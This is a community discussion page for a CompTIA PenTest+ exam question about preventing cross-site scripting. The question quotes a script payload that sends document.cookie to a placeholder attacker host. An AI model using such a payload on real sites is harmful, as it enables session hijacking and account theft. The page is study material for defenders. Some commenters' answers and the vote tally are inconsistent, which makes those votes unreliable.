exam questions

Exam PT1-002 All Questions

View all questions & answers for the PT1-002 exam

Exam PT1-002 topic 1 question 22 discussion

Actual exam question from CompTIA's PT1-002
Question #: 22
Topic #: 1
[All PT1-002 Questions]

Given the following code:
<SCRIPT>var+img=new+Image();img.src=`http://hacker/%20+%20document.cookie;</SCRIPT>
Which of the following are the BEST methods to prevent against this type of attack? (Choose two.)

  • A. Web-application firewall
  • B. Parameterized queries
  • C. Output encoding
  • D. Session tokens
  • E. Input validation
  • F. Base64 encoding
Show Suggested Answer Hide Answer
Suggested Answer: CE 🗳️

Comments

Chosen Answer:
This is a voting comment (?). It is better to Upvote an existing comment if you don't have anything to add.
Switch to a voting comment New
BinarySoldier
Highly Voted 3 years, 5 months ago
Encoding (commonly called “Output Encoding”) involves translating special characters into some different but equivalent form that is no longer dangerous in the target interpreter, for example translating the < character into the &lt; string when writing to an HTML page. Output encoding and input sanitization are the best defenses against XSS. Therefore, I would go for C and E here.
upvoted 11 times
...
BinarySoldier
Highly Voted 3 years, 3 months ago
Selected Answer: C
I stick with C and E
upvoted 7 times
...
MeisAdriano
Most Recent 9 months, 2 weeks ago
Selected Answer: CE
This is an example of a Cross-Site Scripting (XSS) attack. To prevent this type of attack, the best methods would be: C. Output encoding: This ensures that any data that is output to the browser is properly encoded, preventing the execution of malicious scripts. E. Input validation: This involves validating and sanitizing user inputs to ensure they do not contain any malicious code. A) A WAF (Web-Application Firewall) could help to prevent XSS attacks, but that's not the definitelly solution, the complete solution is C and E B) Parameterize queries is good for SQL Injection, XSS it's a different scenario D) Session Tokens are good in Session Hijacking Attacks not for XSS (Cross-Site Scripting)
upvoted 1 times
MeisAdriano
9 months, 2 weeks ago
F) Base64 encoding is primarily used to encode binary data into an ASCII string format, useful for tarnsmitting data over media that are designed to deal with text. That's not effective in preventing XSS attack.
upvoted 1 times
...
...
Bluedegard
1 year, 3 months ago
I'm sad that you guys are stupid. A. WAF - this can exactly prevent SQLi and XSS. Don't you understand it name???? B. this is used in SQLi not XSS C. Output encoding - This change malicious character into a plain simple stupid string. This is good pratice! D. Session tokens is useless - XSS still work E. Ambigious. The <script> may come from url parameter instead of form input right???????????????? IT CAN COME FROM DOM XSS! INPUT VALIDATION IS USELSS F. WTF encoding? if it is encode, it can work when decode right????????????
upvoted 1 times
...
isaphiltrick
1 year, 8 months ago
Answer is C & E Cross-site scripting prevention can generally be achieved via two layers of defense: • Encode data on output • Validate input on arrival This was taken from this site: https://portswigger.net/web-security/cross-site-scripting/preventing
upvoted 1 times
...
bieecop
1 year, 10 months ago
Selected Answer: CE
C. Output encoding: This involves properly encoding any user-generated or dynamic content that is being outputted on a web page. By encoding the content, special characters are converted into their corresponding HTML entities, preventing them from being interpreted as code by the browser. E. Input validation: It is essential to validate and sanitize any user input received by the web application. Input validation involves checking the input for expected formats, length, and type, and rejecting or sanitizing any input that doesn't meet the specified criteria. This helps to prevent the injection of malicious code into the application.
upvoted 1 times
...
thepentester
2 years, 2 months ago
Selected Answer: BD
The code shown is an example of a cross-site scripting (XSS) attack, where the attacker is attempting to steal the user's cookie by injecting a malicious script into a web page
upvoted 1 times
...
ronniehaang
2 years, 4 months ago
Selected Answer: CE
This is an XSS attack. Potentially 3 correct solutions A) WAF C) Output encoding E) Input validation
upvoted 3 times
...
bieecop
2 years, 5 months ago
Selected Answer: BE
Parameterized queries is a technique that aims to separate the SQL query from the user input values.
upvoted 1 times
...
bieecop
2 years, 5 months ago
Selected Answer: BD
bd correct
upvoted 1 times
...
jedington
3 years, 1 month ago
Selected Answer: CE
It's C and E
upvoted 6 times
...
Davar39
3 years, 4 months ago
C & E, no parameter requested or served in this example so B is not the correct answer.
upvoted 6 times
...
tokhs
3 years, 5 months ago
Selected Answer: BE
I believe it should be B and E
upvoted 4 times
...
Picklefall1
3 years, 6 months ago
Why isn't the answer C and E? (output encoding and input validation). Not sure how parameterized queries helps you here when this is not sql injection (it's xss)
upvoted 6 times
...
Community vote distribution
A (35%)
C (25%)
B (20%)
Other
Most Voted
A voting comment increases the vote count for the chosen answer by one.

Upvoting a comment with a selected answer will also increase the vote count towards that answer by one. So if you see a comment that you already agree with, you can upvote it instead of posting a new comment.

SaveCancel
Loading ...
exam
Someone Bought Contributor Access for:
SY0-701
London, 1 minute ago